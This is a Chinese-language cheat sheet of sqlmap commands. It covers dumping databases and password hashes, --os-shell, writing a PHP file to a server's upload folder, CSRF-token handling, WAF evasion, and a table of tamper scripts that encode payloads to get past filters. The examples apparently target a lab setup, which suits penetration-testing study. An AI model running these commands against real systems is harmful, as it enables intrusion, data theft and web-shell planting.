sqlmap的使用

自己常用的命令

--csrf-url=你获取token的链接  --csrf-token=你提交注入包中,token参数    这种方法用于有token限制的时候

--cookie "你要替换的cookie" --dump -C "字段名" -T "数据表名" -D "数据库名"   这种方法用于有cookie限制的时候

--columns -T "tables" -D "database"   查看database这个数据库的表数据表tables下的字段

--tables -D "database"   查看database这个数据库的表数据表

--level 3  注入程度 等级三

--force-ssl   https网站注入的时候

--tamper "space2morehash.py" space2morehash.py 是scripts文件夹里面的脚本

--data="xx"    xx为指定的参数 以get形式进行post参数的注入
 
 --privileges 查看权限

--is-dba 当前用户权限(是否为root权限)

--dbs 所有数据库

--current-db 网站当前数据库

--users 所有数据库用户

--current-user 当前数据库用户

--random-agent 构造随机user-agent

--passwords 数据库密码

--proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理

-time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

--os-shell

--random-agent 随机的user-agent头 

--delay 5  两个http请求之间的间隔 默认是没有延迟的

--proxy=PROXY 使用HTTP代理连接到目标URL

--data "DATA" 通过POST发送的数据字符串

--technique=B 盲注

--identify-waf 测试waf

--batch 默认y

--timeout 多少秒是为超时  默认30s

--dbms=mysql 指定数据库为mysql

-g "xxx"  用google来搜索xxx的url网址

-p "id"  指定注入id参数

使用小技巧

避免过多的错误请求被屏蔽 		参数:--safe-url,--safe-freq
二阶SQL注入 					参数:--second-order
从数据库服务器中读取文件 		参数:--file-read
把文件上传到数据库服务器中 	参数:--file-write,--file-dest
爬行网站URL				 	参数:--crawl
非交互模式 					参数:--batch
注不出来数据可能是编码的问题	参数:--no-cast
自定义判断是否存在注入        	参数:--string,--not-string,--regexp,--code
启发式判断注入				参数:--smart(有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。)
读取文件 					参数:--file-read "绝对路径"
写入文件						参数:--file-write, --file-dest
举个例子说明下:
--file-write "C:\Users\dell\Desktop\11.php" --file-dest "C:\phpStudy\PHPTutorial\upload\Less-1\123.php"

有时候需要自己去闭合前面的字符 	参数:--prefix,--suffix
举个例子说明下:
$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1"; 
这时你就需要--prefix和--suffix参数了:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc'
这样执行的SQL语句变成:
$query = "SELECT * FROM users WHERE id=(’1’)  AND (’abc’=’abc’) LIMIT 0, 1"; 
-------------------------------------------------------------------------------------------------------------

--technique
B:基于Boolean的盲注(Boolean based blind)
Q:内联查询(Inline queries)
T:基于时间的盲注(time based blind)
U:基于联合查询(Union query based)
E:基于错误(error based)
S:栈查询(stack queries)

sqlmap的脚本概述:

脚本名称										作用
apostrophemask.py						用utf8代替引号
equaltolike.py							like 代替等号
space2dash.py							绕过过滤‘=’ 替换空格字符(”),('' – ')后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
greatest.py								绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py							空格替换为#号 随机字符串 以及换行符
apostrophenullencode.py					绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py			当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py						空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py						在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py						绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
space2mssqlblank.py						空格替换为其它空符号
base64encode.py							用base64编码替换
space2mssqlhash.py						替换空格
modsecurityversioned.py					过滤空格,包含完整的查询版本注释
space2mysqlblank.py						空格替换其它空白符号(mysql)
between.py								用between替换大于号(>)
space2mysqldash.py						替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py						围绕SQL关键字添加多个空格
space2plus.py							用+替换空格
bluecoat.py								代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
nonrecursivereplacement.py				取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters
space2randomblank.py					代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py							追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py						双url编码(不处理以编码的)
unionalltounion.py						替换UNION ALL SELECT UNION SELECT
charencode.py							url编码
randomcase.py							随机大小写
unmagicquotes.py						宽字符绕过 GPC addslashes
randomcomments.py						用/\*\*/分割sql关键字
charunicodeencode.py					字符串 unicode 编码
securesphere.py							追加特制的字符串
versionedmorekeywords.py				注释绕过
space2comment.py						Replaces space character (‘ ‘) with comments ‘/**/’**

你可能感兴趣的:(工具使用)